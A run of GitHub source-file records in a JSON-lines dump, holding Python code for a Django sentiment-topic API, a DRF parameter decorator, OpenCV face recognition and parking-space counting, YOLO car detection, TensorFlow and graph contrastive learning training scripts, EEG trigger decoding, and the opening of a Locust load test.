temp['st_time']=post.st_time\n temp['read_num']=post.read_num\n temp['comm_num']=post.comm_num\n temp['img_url']=post.img_url\n temp['repost_num']=post.repost_num\n temp['lan_type']=post.lan_type\n temp['is_read']=post.is_read\n temp['repost_pt_id']=post.repost_pt_id\n temp['transText']=post.transText\n\n poster['home_url']=post.poster.home_url\n poster['img_url']=post.poster.img_url\n poster['id']=post.poster.id\n poster['name']=post.poster.name\n poster['follows']=post.poster.follows\n poster['following']=post.poster.following\n poster['post_num']=post.poster.post_num\n poster['level']=post.poster.level\n poster['location']=post.poster.location\n poster['birthday']=post.poster.birthday\n\n temp['poster']=poster\n data.append(temp)\n\n json_out['code']=0\n json_out['success']=True\n json_out['data']=data\n except:\n traceback.print_exc()\n json_out['code']=1\n json_out['success']=False\n json_out['data']={}\n return HttpResponse(json.dumps(json_out, cls=MyEncoder),content_type=\"application/json\")\n\nclass senHot(APIView): #xxxx/yqdata/sen_hot\n\n @csrf_exempt\n def get(self, request, format=None):\n userid=int(request.GET['userId'])\n topicid=int(request.GET['topicId'])\n json_out={}\n data=[]\n try:\n\n hots = Hot_Value_Trace.objects(topic_id=topicid)\n for hot in hots :\n temp = {}\n temp['date']=hot.date\n temp['real_value']=hot.real_value\n temp['predict_value']=hot.predict_value\n\n data.append(temp)\n json_out['code']=0\n json_out['success']=True\n json_out['data']=data\n except:\n traceback.print_exc()\n json_out['code']=1\n json_out['success']=False\n json_out['data']={}\n return HttpResponse(json.dumps(json_out, cls=MyEncoder),content_type=\"application/json\")\n\n \n\nclass senTopic(APIView): # yqdata/sentopic\n @csrf_exempt\n def get(self, request, format=None):\n userid=int(request.GET['userId'])\n json_out={}\n data=[]\n try:\n res=Sen_Topic.objects(Q(user_id=userid))\n for topic in res:\n temp={}\n temp['topicId']=topic._id\n temp['topicName']=topic.topic_name\n\n # print topic._id\n\n \tkws = Cloud_formain.objects(topic_id=topic._id)\n # print len(kws)\n \tkws_list = []\n \tfor kw in kws :\n \t\t# tem = {}\n \t\t# tem['frequency'] = kw.frequency\n \t\t# tem['word'] = kw.word\n # print kw.word\n \t\t# kws_list.append(tem)\n kws_list.append(kw.word)\n \ttemp['topicKeywords']=kws_list\n\n\n # temp['topicKeywords']=topic.topic_kws\n temp['imgs']= []\n if topic._id == 140:\n temp['imgs'] = [\n 'https://timgsa.baidu.com/timg?image&quality=80&size=b9999_10000&sec=1510578676040&di=760c68bd1639c956fd8629f73456c0f5&imgtype=0&src=http%3A%2F%2Fimg.cache.cdqss.com%2Fimages%2Fattachement%2Fjpg%2Fsite2%2F20121122%2F001f3c0d6d0d1217b32d0d.jpg',\n 'https://timgsa.baidu.com/timg?image&quality=80&size=b9999_10000&sec=1510578755586&di=2d2e7a063ce1ccf73c89386120c6d27f&imgtype=0&src=http%3A%2F%2Ffileimage.inewsweek.cn%2Ffck_upload%2F20131018%2F13820687366473.jpg',\n 'https://timgsa.baidu.com/timg?image&quality=80&size=b9999_10000&sec=1510578946798&di=c9dee230f119dc94cfa2a316be883c09&imgtype=0&src=http%3A%2F%2Fimg1.cache.netease.com%2Fcatchpic%2FE%2FE0%2FE0569E9411E683F94E8B0A4CB754D75F.jpg'\n ]\n elif topic._id == 141 :\n temp['imgs'] = [\n 'http://www.china.com.cn/node_7000058/attachement/jpg/site1000/20171110/ac9e178530e11b6f1b0d20.jpg',\n 'http://news.xinhuanet.com/politics/2017-11/09/1121932351_15102301509901n.jpg',\n 'http://news.xinhuanet.com/politics/2017-11/09/1121932351_15102310626871n.jpg'\n ]\n elif topic._id == 142 :\n temp['imgs'] = [\n 'https://timgsa.baidu.com/timg?image&quality=80&size=b9999_10000&sec=1510579727257&di=6bb8545205b595bde16552d08dd8e3d1&imgtype=0&src=http%3A%2F%2Fimg0.utuku.china.com%2F400x0%2Feconomy%2F20170711%2F2939668c-7a2b-4c47-b3ca-09aadf6f40f4.jpg',\n 'http://yynews.cnnb.com.cn/pic/0/11/38/22/1)382283_797336.jpg'\n ]\n elif topic._id == 143 :\n temp['imgs'] = [\n 'https://timgsa.baidu.com/timg?image&quality=80&size=b9999_10000&sec=1510593392291&di=b2fe1e430973d6eb9b74ff410d033edd&imgtype=0&src=http%3A%2F%2Fimages.china.cn%2Fattachement%2Fjpg%2Fsite1000%2F20160717%2Fd02788e9b6ae18f571f82a.jpg',\n 'https://timgsa.baidu.com/timg?image&quality=80&size=b9999_10000&sec=1510595070647&di=3b31e7410a728faf89b2304d81237a88&imgtype=0&src=http%3A%2F%2Fwww.people.com.cn%2Fmediafile%2Fpic%2F20151126%2F26%2F17008412103535275678.jpg',\n 'https://timgsa.baidu.com/timg?image&quality=80&size=b9999_10000&sec=1510595130637&di=6789fc40869036887b640eca881b3f32&imgtype=0&src=http%3A%2F%2Fpicture.youth.cn%2Fqtdb%2F201710%2FW020171031115555478807.jpg'\n ]\n elif topic._id == 144 :\n temp['imgs'] = [\n 'https://timgsa.baidu.com/timg?image&quality=80&size=b9999_10000&sec=1510590676054&di=03fac7601c4954e0e5c7644621e46ba3&imgtype=0&src=http%3A%2F%2Fstc.zjol.com.cn%2Fg1%2FM00054FCggSA1jgRayARvOXAABySP1u_MQ827.jpg%3Fwidth%3D601%26height%3D358',\n 'https://timgsa.baidu.com/timg?image&quality=80&size=b10000_10000&sec=1510581606&di=cf57b48b80d489f6b3d598f8a965ee60&src=http://img.jiaodong.net/pic/news2005/20050317guoji2.jpg',\n 'https://timgsa.baidu.com/timg?image&quality=80&size=b9999_10000&sec=1510592042751&di=e07996417e84660429c4808c06aac55a&imgtype=0&src=http%3A%2F%2Fimages.china.cn%2Fattachement%2Fjpg%2Fsite1000%2F20130503%2F7427ea210a4d12ed55a10f.jpg'\n ]\n elif topic._id == 145 :\n temp['imgs'] = [\n 'https://timgsa.baidu.com/timg?image&quality=80&size=b9999_10000&sec=1510592234712&di=a78cdcd1254f15b5d994d086e7aeb06c&imgtype=jpg&src=http%3A%2F%2Fimg0.imgtn.bdimg.com%2Fit%2Fu%3D3110906030%2C1039306458%26fm%3D214%26gp%3D0.jpg',\n 'https://timgsa.baidu.com/timg?image&quality=80&size=b9999_10000&sec=1510592357726&di=63506953402ebcbb69e96b39df40841b&imgtype=0&src=http%3A%2F%2Fphotocdn.sohu.com%2F20150812%2FImg418692432.jpg',\n 'https://timgsa.baidu.com/timg?image&quality=80&size=b9999_10000&sec=1510592679719&di=3aa12a76b3719173c2af238c1d7e6449&imgtype=0&src=http%3A%2F%2Fwww.mm111.net%2Fuploadfile%2F2011%2F0826%2F20110826022117600.jpg'\n ]\n # res = Tran_Wall_Post.objects(hot_topic_id=topic._id)\n # for post_res in res :\n # if len(post_res.img_url) > 5:\n # temp['imgs'].append(post_res.img_url)\n # else :\n # pass\n # try: \n # temp['imgs'] = random.sample(temp['imgs'],5)\n # except:\n # pass\n temp['summary']=topic.summary\n data.append(temp)\n json_out['code']=0\n json_out['success']=True\n json_out['data']=data\n except:\n traceback.print_exc()\n json_out['code']=1\n json_out['success']=False\n json_out['data']={}\n\n return HttpResponse(json.dumps(json_out, cls=MyEncoder),content_type=\"application/json\")\n\n# def SenmsgOut(APIView): # yqdata/sentopic\n# @csrf_exempt\n# def get(self, request, format=None):\n# # userid=int(request.GET['userId'])\n# json_out={}\n# data=[]\n# tokens = decode_base64(request.META.get('HTTP_AUTHORIZATION'))\n\n# # tokens = base64.b64decode(request.META.get('HTTP_AUTHORIZATION'))\n# time_stamp = tokens[-13:-3]\n\n# if abs(int(time_stamp)-int(time.time())) < 60:\n\n# tokens = re.sub(r'#.*#.*','',tokens)\n# # tokens = json_data['userid']\n# pld = Auth.decode_auth_token(tokens)\n\n# user_id = pld['data']['id']\n# login_time = pld['data']['login_time']\n\n \n\n\n\ndef is_leap_year(year):\n if (year%4)==0:\n if (year%100)==0:\n if (year%400)==0:\n return 1\n else:\n return -1\n else:\n return 1\n else:\n return -1\n\n","repo_name":"shiozakixlg/system-v1","sub_path":"yqapi/yqdata/views_sen_topic.py","file_name":"views_sen_topic.py","file_ext":"py","file_size_in_byte":12582,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"73121315664","text":"from functools import wraps\n\nfrom rest_framework import status\nfrom rest_framework.response import Response\n\n\ndef required_params(request_attr='query_params', params=None):\n if params is None:\n params = []\n\n def decorator(view_func):\n \"\"\"\n decorator use wraps to get parameter from view_func\n and pass to _wrapped_view\n instance is self in view_func\n \"\"\"\n @wraps(view_func)\n def _wrapped_view(instance, request, *args, **kwargs):\n data = getattr(request, request_attr)\n missing_params = [\n param\n for param in params\n if param not in data\n ]\n if missing_params:\n missing_params_str = ','.join(missing_params)\n return Response(\n {\n 'message': 'missing {} in request'.format(missing_params_str),\n 'success': False,\n },\n status=status.HTTP_400_BAD_REQUEST\n )\n\n return view_func(instance, request, *args, **kwargs)\n return _wrapped_view\n return decorator\n\n\n\n","repo_name":"LiquanLuo/django-twitter","sub_path":"utils/decorators.py","file_name":"decorators.py","file_ext":"py","file_size_in_byte":1175,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"35481800645","text":"import cv2\n\ndef reconhecimento(imagemPath):\n\n #cria um identificador EigenFaces\n EigenIdent = cv2.face.EigenFaceRecognizer_create()\n\n #Le o arquivo treino\n EigenIdent.read(\"classEigen.yml\")\n\n # Utiliza novamente o Haar Cascade para detec��ão\n haarDetector = cv2.CascadeClassifier(\"haarcascade_frontalface_default.xml\")\n\n # mesmos parâmetros do treino\n largura, altura = 220, 200\n\n while (True): \n # Abrindo a imagem\n imagem = cv2.imread(imagemPath) \n\n # Redimensionando o tamanho da imagem\n resizeImage = cv2.resize(imagem, (220, 200), interpolation = cv2.INTER_NEAREST)\n\n # Transformando a imagem para cinza \n imagemCinza = cv2.cvtColor(resizeImage, cv2.COLOR_BGR2GRAY)\n \n # Deteccao\n facesDetectadas = haarDetector.detectMultiScale(imagemCinza, scaleFactor=1.01, minSize=(100,100))\n \n id = 0\n\n\n for (x, y, l, a) in facesDetectadas:\n imagemFace = cv2.resize(imagemCinza[y:y + a, x:x + l], (largura, altura))\n\n # id, acuracia = EigenIdent.predict(imagemFace)\n result = EigenIdent.predict(imagemFace)\n\n return result\n","repo_name":"LuisEEduardo/api_flask","sub_path":"reconhecimentoFacial.py","file_name":"reconhecimentoFacial.py","file_ext":"py","file_size_in_byte":1186,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"70309655506","text":"import cv2\r\nimport pickle\r\nimport cvzone\r\nimport numpy as np\r\n\r\n# video feed\r\ncap = cv2.VideoCapture('carPark.mp4') # upload the video using cv2 library\r\n\r\nwith open('CarParkPos', 'rb') as f: # we will need stored position of car so that's why we will need the file\r\n posList = pickle.load(f)\r\n\r\nwidth, height = 107, 48\r\n\r\n\r\ndef checkParkingSpace(imgProcessed): # this will help us to crop the image and show us if car is present in that position\r\n spaceCounter=0\r\n for pos in posList:\r\n x,y = pos\r\n\r\n imgCrop = imgProcessed[y:y+height,x:x+width] # crop the image\r\n #cv2.imshow(str(x*y),imgCrop) # this will separately show each and every img position present in img/video\r\n count=cv2.countNonZero(imgCrop) # this will give count of pixel\r\n cvzone.putTextRect(img,str(count),(x,y+height-3),scale=1.5,thickness=2, offset=0,colorR=(0,0,255)) # we will show count of pixel on every box\r\n\r\n if count <900: # car is not present\r\n color = (0,255,0) # change the color were car is not present\r\n thickness=10\r\n spaceCounter +=1 # this will count number of vacant places\r\n else:\r\n color = (0,0,255)\r\n thickness = 2\r\n\r\n\r\n cv2.rectangle(img, pos, (pos[0] + width, pos[1] + height),color, 2) #it will display the img with position width height color after all img processing is done\r\n cvzone.putTextRect(img, str(count), (x, y + height - 3), scale=1.5, thickness=2, offset=0, colorR=color)\r\n cvzone.putTextRect(img, f'Free : {spaceCounter}/{len(posList)}',(100,50), scale=3, thickness=5, offset=20, colorR=(0, 200, 0)) # this will display spacecounter\r\nwhile True:\r\n\r\n if cap.get(cv2.CAP_PROP_POS_FRAMES) == cap.get(cv2.CAP_PROP_FRAME_COUNT): # this will tell us frame position and total count of frames present in video\r\n cap.set(cv2.CAP_PROP_POS_FRAMES,0) # reset the frames to original position and restart the video\r\n\r\n success, img = cap.read()\r\n imgGray = cv2.cvtColor(img,cv2.COLOR_BGR2GRAY) # this will convert or change color\r\n imgBlur = cv2.GaussianBlur(imgGray,(3,3),1) #blur the img\r\n imgThreshold = cv2.adaptiveThreshold(imgBlur, 255, cv2.ADAPTIVE_THRESH_GAUSSIAN_C,\r\n cv2.THRESH_BINARY_INV, 25,16) # this will convert img to binary format and this will convert block present in img into binary format\r\n imgMedian = cv2.medianBlur(imgThreshold ,5)\r\n kernel = np.ones((3,3),np.uint8) # this will extract important portion of img and also it can detect the edge of img we cannot directly access kernel so to access we have to use numpy\r\n imgDilate= cv2.dilate(imgMedian,kernel,iterations=1) # this will make pixel thicker so that we can able to differentiate vacant or not vacant\r\n\r\n checkParkingSpace(imgDilate) # we will pass imgDilate to this function so this will crop this imgDilate and this is what we want to do\r\n\r\n\r\n cv2.imshow(\"Image\", img) # it will read the image and show the image contionusly\r\n #cv2.imshow(\"ImageBlur\", imgBlur) # this are some operation we have to do which will help us to know if car is present or not and here img will display in gray color\r\n #cv2.imshow(\"ImageThreshold\", imgThreshold) # we first convert img into blur img and in gray then we convert img into some black type picture using adaptive Threshold and taking some values of gausssian threshold adaptive and due to this we saw that ,In output were car is present there is high pixel and were car is not present there are low pixel and hence this will be very useful to identify whether car is present or not\r\n #cv2.imshow(\"ImageMedian\", imgMedian) # we saw in imgThreshold that there are some unnecessary pixel prsent in img so toremove it we will use imgMrdian this will remove unwanted pixel\r\n cv2.waitKey(3) # delay the video","repo_name":"manju121212/ParkingSpaceCounter","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4034,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"41358296486","text":"import tensorflow as tf\nimport numpy as np\nimport os\nfrom skimage import io, transform\nfrom model import ResNet50\n\nbatch_size = 32\ntraining_h = 28\ntraining_w = 28\ntraining_path = \"./data/training/\"\nclasses = 9\n\ndef read_img(path):\n imgs = []\n labels = []\n for i in range(classes-1):\n f = os.listdir(path+str(i))\n print(path+str(i))\n for im in f:\n img = io.imread(path+str(i)+\"/\"+im)\n img = transform.resize(img, (training_h, training_w,1))\n imgs.append(img)\n labels.append(i)\n return np.asarray(imgs, np.float32), np.asarray(labels, np.int32)\n\ndata, label = read_img(training_path)\n\nprint(data.shape)\nprint(label.shape)\n\ntf_x = tf.placeholder(tf.float32, [None, training_h, training_w, 1], name='x')\ntf_y = tf.placeholder(tf.int32, [None, ], name='y_')\n\n# CNN\n# shape (28, 28, 1)\nconv1 = tf.layers.conv2d(tf_x, 16, 5, 1, 'same', activation=tf.nn.relu) # (28, 28, 16)\npool1 = tf.layers.max_pooling2d(conv1, 2, 2) # (14, 14, 16)\nconv2 = tf.layers.conv2d(pool1, 32, 3, 1, 'same', activation=tf.nn.relu) # (14, 14, 32)\nconv3 = tf.layers.conv2d(conv2, 64, 3, 1, 'same', activation=tf.nn.relu) # (14, 14, 32)\npool2 = tf.layers.max_pooling2d(conv3, 2, 2) # (7, 7, 64)\nflat = tf.reshape(pool2, [-1, 7*7*64]) # (7*7*32,)\noutput = tf.layers.dense(flat, classes) # output\n\n\n\nloss = tf.losses.sparse_softmax_cross_entropy(labels=tf_y, logits=output)\ntrain_op = tf.train.AdamOptimizer(learning_rate=0.001).minimize(loss)\ncorrect_prediction = tf.equal(tf.cast(tf.argmax(output, 1), tf.int32), tf_y)\nacc = tf.reduce_mean(tf.cast(correct_prediction, tf.float32))\n\nb = tf.constant(value=1, dtype=tf.float32)\noutput_eval = tf.multiply(output, b, name='output_eval')\n\nconfig = tf.ConfigProto()\nconfig.gpu_options.allow_growth = True\nsess = tf.Session(config=config)\ninit_op = tf.group(tf.global_variables_initializer(), tf.local_variables_initializer())\nsess.run(init_op)\n\n\n# 一次抓batch_size比資料,shuffle決定是否隨機\ndef minibatches(inputs=None, targets=None, batch_size=None, shuffle=False):\n assert len(inputs) == len(targets)\n if shuffle:\n indices = np.arange(len(inputs))\n np.random.shuffle(indices)\n for start_idx in range(0, len(inputs) - batch_size + 1, batch_size):\n if shuffle:\n excerpt = indices[start_idx:start_idx + batch_size]\n else:\n excerpt = slice(start_idx, start_idx + batch_size)\n yield inputs[excerpt], targets[excerpt]\n\n\n# 訓練\nfor epoch in range(10):\n print(\"epoch: \", epoch + 1)\n train_loss, train_acc, n_batch = 0, 0, 0\n for x_train_a, y_train_a in minibatches(data, label, batch_size, shuffle=True):\n _, err, ac = sess.run([train_op, loss, acc], feed_dict={tf_x: x_train_a, tf_y: y_train_a})\n train_loss += err;\n train_acc += ac;\n n_batch += 1\n print(\"train loss: %f\" % (train_loss / n_batch))\n print(\"train acc: %f\" % (train_acc / n_batch))\n\n# 存取模型\nsaver = tf.train.Saver()\nsave_path = saver.save(sess, \"./CNN_net/save_net.ckpt\")\n","repo_name":"jack840614/tmp","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":3199,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"6931671174","text":"import os\nimport tarfile\nimport docker\n\n\n# import_neccessary_modules(docker)\nclient = docker.from_env()\nclient.containers.run('alpine', 'echo hello world')\n\ndef copy_to_Docker(src, dst):\n name, dst = dst.split(':')\n container = client.containers.get(name)\n\n os.chdir(os.path.dirname(src))\n srcname = os.path.basename(src)\n tar = tarfile.open(src + '.tar', mode='w')\n try:\n tar.add(srcname)\n finally:\n tar.close()\n\n data = open(src + '.tar', 'rb').read()\n container.put_archive(os.path.dirname(dst), data)","repo_name":"CindyChenGitHub/MyWorkspace","sub_path":"My_Project_CCBIS_202107/copy_to_Docker.py","file_name":"copy_to_Docker.py","file_ext":"py","file_size_in_byte":545,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"14114745974","text":"import cv2\r\nimport numpy as np\r\nimport os\r\nfrom moviepy.editor import VideoFileClip\r\nfrom timeit import default_timer as timer\r\nimport sys\r\n\r\nweights_path = os.path.join(\"yolo\", \"yolov3.weights\")\r\nconfig_path = os.path.join(\"yolo\", \"yolov3.cfg\")\r\nlabels_path = os.path.join(\"yolo\", \"coco.names\")\r\n\r\nnet = cv2.dnn.readNetFromDarknet(config_path, weights_path)\r\n# net.setPreferableBackend(cv2.dnn.DNN_BACKEND_CUDA)\r\n# net.setPreferableTarget(cv2.dnn.DNN_TARGET_CUDA)\r\nnames = net.getLayerNames()\r\n# (h, w) = img.shape[:2]\r\n(h, w) = (720, 1280)\r\nlayers_names = [names[int(i)-1] for i in net.getUnconnectedOutLayers()]\r\nlabels = open(labels_path).read().strip().split(\"\\n\")\r\n\r\n\r\ndef yolo_pipeline(img):\r\n\r\n blob = cv2.dnn.blobFromImage(\r\n img, 1/255.0, (416, 416), crop=False, swapRB=False)\r\n net.setInput(blob)\r\n # start_t = time.time()\r\n layers_output = net.forward(layers_names)\r\n # print(\"A forword pass through yolov3 took{}\".format(time.time()-start_t))\r\n\r\n boxes = []\r\n confidences = []\r\n classIDs = []\r\n for output in layers_output:\r\n for detection in output:\r\n scores = detection[5:]\r\n classID = np.argmax(scores)\r\n confidence = scores[classID]\r\n\r\n # if(confidence >0.85):\r\n box = detection[:4] * np.array([w, h, w, h])\r\n bx, by, bw, bh = box.astype(\"int\")\r\n\r\n x = int(bx - (bw / 2))\r\n y = int(by - (bh / 2))\r\n\r\n boxes.append([x, y, int(bw), int(bh)])\r\n confidences.append(float(confidence))\r\n classIDs.append(classID)\r\n\r\n idxs = cv2.dnn.NMSBoxes(\r\n boxes, confidences, score_threshold=0.4, nms_threshold=0.2)\r\n if len(idxs) == 0:\r\n return img\r\n for i in idxs.flatten():\r\n # print(boxes[i] , labels[classIDs[i]] , confidences[i])\r\n\r\n (x, y) = [boxes[i][0], boxes[i][1]]\r\n (W, H) = [boxes[i][2], boxes[i][3]]\r\n\r\n cv2.rectangle(img,\r\n (x, y),\r\n (x + W, y + H),\r\n (230, 126, 34),\r\n 2)\r\n\r\n cv2.putText(img, f'{labels[classIDs[i]]} {round(confidences[i],1)}', (\r\n x, y-3), cv2.FONT_HERSHEY_DUPLEX, 0.5, (230, 126, 34), 1, cv2.LINE_AA)\r\n return img\r\n\r\n\r\ndef create_output(input_path):\r\n\r\n clip_ = VideoFileClip(input_path)\r\n output_path = f'{input_path.split(\".\")[0]}_car_detection.mp4'\r\n clip = clip_.fl_image(yolo_pipeline)\r\n clip.write_videofile(output_path, audio=False)\r\n print(f'output saved to >> {output_path}')\r\n\r\n\r\nif __name__ == \"__main__\":\r\n\r\n input_path = sys.argv[1]\r\n\r\n start = timer()\r\n create_output(input_path)\r\n print(\"without GPU:\", timer()-start)\r\n","repo_name":"Shehab37/car_lane_and_cars_detection","sub_path":"detect_cars.py","file_name":"detect_cars.py","file_ext":"py","file_size_in_byte":2714,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"6993304454","text":"import torch\nimport os.path as osp\nimport GCL.losses as L\nimport GCL.augmentors as A\n\nfrom torch import nn\nfrom tqdm import tqdm\nfrom torch.optim import Adam\nfrom GCL.eval import get_split, SVMEvaluator\nfrom GCL.models import DualBranchContrast\nfrom torch_geometric.nn import GCNConv, global_add_pool\nfrom torch_geometric.data import DataLoader\nfrom torch_geometric.datasets import TUDataset\n\n\nclass GConv(nn.Module):\n def __init__(self, input_dim, hidden_dim, num_layers):\n super(GConv, self).__init__()\n self.layers = nn.ModuleList()\n self.activation = nn.PReLU(hidden_dim)\n for i in range(num_layers):\n if i == 0:\n self.layers.append(GCNConv(input_dim, hidden_dim))\n else:\n self.layers.append(GCNConv(hidden_dim, hidden_dim))\n\n def forward(self, x, edge_index, batch):\n z = x\n zs = []\n for conv in self.layers:\n z = conv(z, edge_index)\n z = self.activation(z)\n zs.append(z)\n gs = [global_add_pool(z, batch) for z in zs]\n g = torch.cat(gs, dim=1)\n return z, g\n\n\nclass FC(nn.Module):\n def __init__(self, input_dim, output_dim):\n super(FC, self).__init__()\n self.fc = nn.Sequential(\n nn.Linear(input_dim, output_dim),\n nn.ReLU(),\n nn.Linear(output_dim, output_dim),\n nn.ReLU(),\n nn.Linear(output_dim, output_dim),\n nn.ReLU()\n )\n self.linear = nn.Linear(input_dim, output_dim)\n\n def forward(self, x):\n return self.fc(x) + self.linear(x)\n\n\nclass Encoder(torch.nn.Module):\n def __init__(self, gcn1, gcn2, mlp1, mlp2, aug1, aug2):\n super(Encoder, self).__init__()\n self.gcn1 = gcn1\n self.gcn2 = gcn2\n self.mlp1 = mlp1\n self.mlp2 = mlp2\n self.aug1 = aug1\n self.aug2 = aug2\n\n def forward(self, x, edge_index, batch):\n x1, edge_index1, edge_weight1 = self.aug1(x, edge_index)\n x2, edge_index2, edge_weight2 = self.aug2(x, edge_index)\n z1, g1 = self.gcn1(x1, edge_index1, batch)\n z2, g2 = self.gcn2(x2, edge_index2, batch)\n h1, h2 = [self.mlp1(h) for h in [z1, z2]]\n g1, g2 = [self.mlp2(g) for g in [g1, g2]]\n return h1, h2, g1, g2\n\n\ndef train(encoder_model, contrast_model, dataloader, optimizer):\n encoder_model.train()\n epoch_loss = 0\n for data in dataloader:\n data = data.to('cuda')\n optimizer.zero_grad()\n\n if data.x is None:\n num_nodes = data.batch.size(0)\n data.x = torch.ones((num_nodes, 1), dtype=torch.float32, device=data.batch.device)\n\n h1, h2, g1, g2 = encoder_model(data.x, data.edge_index, data.batch)\n loss = contrast_model(h1=h1, h2=h2, g1=g1, g2=g2, batch=data.batch)\n loss.backward()\n optimizer.step()\n\n epoch_loss += loss.item()\n return epoch_loss\n\n\ndef test(encoder_model, dataloader):\n encoder_model.eval()\n x = []\n y = []\n for data in dataloader:\n data = data.to('cuda')\n if data.x is None:\n num_nodes = data.batch.size(0)\n data.x = torch.ones((num_nodes, 1), dtype=torch.float32, device=data.batch.device)\n _, _, g1, g2 = encoder_model(data.x, data.edge_index, data.batch)\n x.append(g1 + g2)\n y.append(data.y)\n x = torch.cat(x, dim=0)\n y = torch.cat(y, dim=0)\n\n split = get_split(num_samples=x.size()[0], train_ratio=0.8, test_ratio=0.1)\n result = SVMEvaluator(linear=True)(x, y, split)\n return result\n\n\ndef main():\n device = torch.device('cuda')\n path = osp.join(osp.expanduser('~'), 'datasets')\n dataset = TUDataset(path, name='PTC_MR')\n dataloader = DataLoader(dataset, batch_size=128)\n input_dim = max(dataset.num_features, 1)\n\n aug1 = A.Identity()\n aug2 = A.PPRDiffusion(alpha=0.2, use_cache=False)\n gcn1 = GConv(input_dim=input_dim, hidden_dim=512, num_layers=2).to(device)\n gcn2 = GConv(input_dim=input_dim, hidden_dim=512, num_layers=2).to(device)\n mlp1 = FC(input_dim=512, output_dim=512)\n mlp2 = FC(input_dim=512 * 2, output_dim=512)\n encoder_model = Encoder(gcn1=gcn1, gcn2=gcn2, mlp1=mlp1, mlp2=mlp2, aug1=aug1, aug2=aug2).to(device)\n contrast_model = DualBranchContrast(loss=L.JSD(), mode='G2L').to(device)\n\n optimizer = Adam(encoder_model.parameters(), lr=0.01)\n\n with tqdm(total=100, desc='(T)') as pbar:\n for epoch in range(1, 101):\n loss = train(encoder_model, contrast_model, dataloader, optimizer)\n pbar.set_postfix({'loss': loss})\n pbar.update()\n\n test_result = test(encoder_model, dataloader)\n print(f'(E): Best test F1Mi={test_result[\"micro_f1\"]:.4f}, F1Ma={test_result[\"macro_f1\"]:.4f}')\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"PyGCL/PyGCL","sub_path":"examples/MVGRL_graph.py","file_name":"MVGRL_graph.py","file_ext":"py","file_size_in_byte":4804,"program_lang":"python","lang":"en","doc_type":"code","stars":757,"dataset":"github-code","pt":"48"} +{"seq_id":"12656163335","text":"import numpy as np\nimport mne\n\n# see also: find_events(...,mask=2**17 -256)\n# mask=2**17 -256\ndef correct_ttl(x):\n \"\"\"mne expects 8bit channel. biosemi has 24 bit. go down to 16 and adjust\n >>> correct_ttl(np.array([16128],dtype='int64')) # first stim ch val\n np.array([0],dtype='int16')\n \"\"\"\n return x.astype(np.int32) - 127**2 + 1\n v = x - 16128 # np.log2(16128+256)==14\n v[v == 65536] = 0 # 65536==2**16\n return v\n\n\ndef ttl_side_info(side_info):\n ## 10 11 13\n ## left up right\n ## left+up=3 13 14\n ## left+right=4 15 17\n ## up+right=5 16 18\n combo = (\"left+up\", \"left+right\", \"up+right\")\n aval_sides = None\n picked = None\n if side_info < 10:\n try:\n aval_sides = combo[side_info % 10 - 1]\n except:\n pass\n elif side_info == 13:\n aval_sides = \"left+up\"\n picked = \"left\"\n elif side_info == 14:\n aval_sides = \"left+up\"\n picked = \"up\"\n elif side_info == 15:\n aval_sides = \"left+right\"\n picked = \"left\"\n elif side_info == 17:\n aval_sides = \"left+right\"\n picked = \"right\"\n elif side_info == 16:\n aval_sides = \"up+right\"\n picked = \"up\"\n elif side_info == 18:\n aval_sides = \"up+right\"\n picked = \"right\"\n return (aval_sides, picked)\n\n\ndef aval_sides_only(ttl):\n ttl_m = ttl % 10 - 3\n aval_sides = [\"left+up\", \"left+right\", \"right+up\"][ttl_m]\n return aval_sides\n\n\ndef taskttl_event_side(ttl):\n # 128/129 = start/stop\n # iti chose catch timeout waiting feedback other\n # 10 20 50 70 150 200 230\n # side sum(left=1,up=2,right=3):\n # left+up left+right up+right\n # 3 4 5\n # picked left up right\n # 10 || 11 || 13\n # score = +10\n ttl = int(ttl)\n sides = (\"left\", \"up\", \"right\")\n (ename, aval_sides, picked, score) = [None] * 4\n if ttl == 128:\n ename = \"start\"\n elif ttl == 129:\n ename = \"stop\"\n elif ttl >= 10 and ttl < 20: # 10-15\n ename = \"iti\"\n aval_sides = aval_sides_only(ttl)\n elif ttl < 50: # 20 - 50\n ename = \"chose\"\n aval_sides = aval_sides_only(ttl)\n ttl_m = ttl % 10 - 3\n aval_sides = [\"left\", \"up\", \"right\"][ttl_m]\n elif ttl < 70:\n ename = \"catch\"\n aval_sides, picked = ttl_side_info(ttl - 50)\n elif ttl < 150:\n ename = \"timeout\"\n aval_sides, picked = ttl_side_info(ttl - 70)\n elif ttl < 200:\n ename = \"waiting\"\n aval_sides, picked = ttl_side_info(ttl - 150)\n # aval_sides, picked = ttl_side_info(ttl - 150)\n elif ttl < 230:\n ename = \"feedback\"\n rm = 200\n if ttl > 220:\n rm = rm + 10\n score = True\n else:\n score = False\n aval_sides, picked = ttl_side_info(ttl - rm)\n\n return (ename, aval_sides, picked, score)\n\n\ndef add_stim_corrected(raw):\n raw.load_data()\n stim_raw = raw.pick_channels([\"Status\"]).get_data()\n info = mne.create_info([\"StatusCorrected\"], raw.info[\"sfreq\"], [\"stim\"])\n stim_vals = correct_ttl(stim_raw[0]).reshape(stim_raw.shape)\n stim = mne.io.RawArray(stim_vals, info)\n raw.add_channels([stim], force_update_info=True)\n","repo_name":"LabNeuroCogDevel/choice-landscape","sub_path":"results/LoeffEEGPhotoTiming/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":3325,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"10532927500","text":"from os import environ\n\nfrom locust import HttpUser, SequentialTaskSet, task\n\nfrom data.utils import get_simulated_data\n\n\nclass ClassifyRESTAPITasks(SequentialTaskSet):\n \"\"\"\n Post data for classification non-stop, meant for estimating\n server capacity for classification via REST API.\n \"\"\"\n 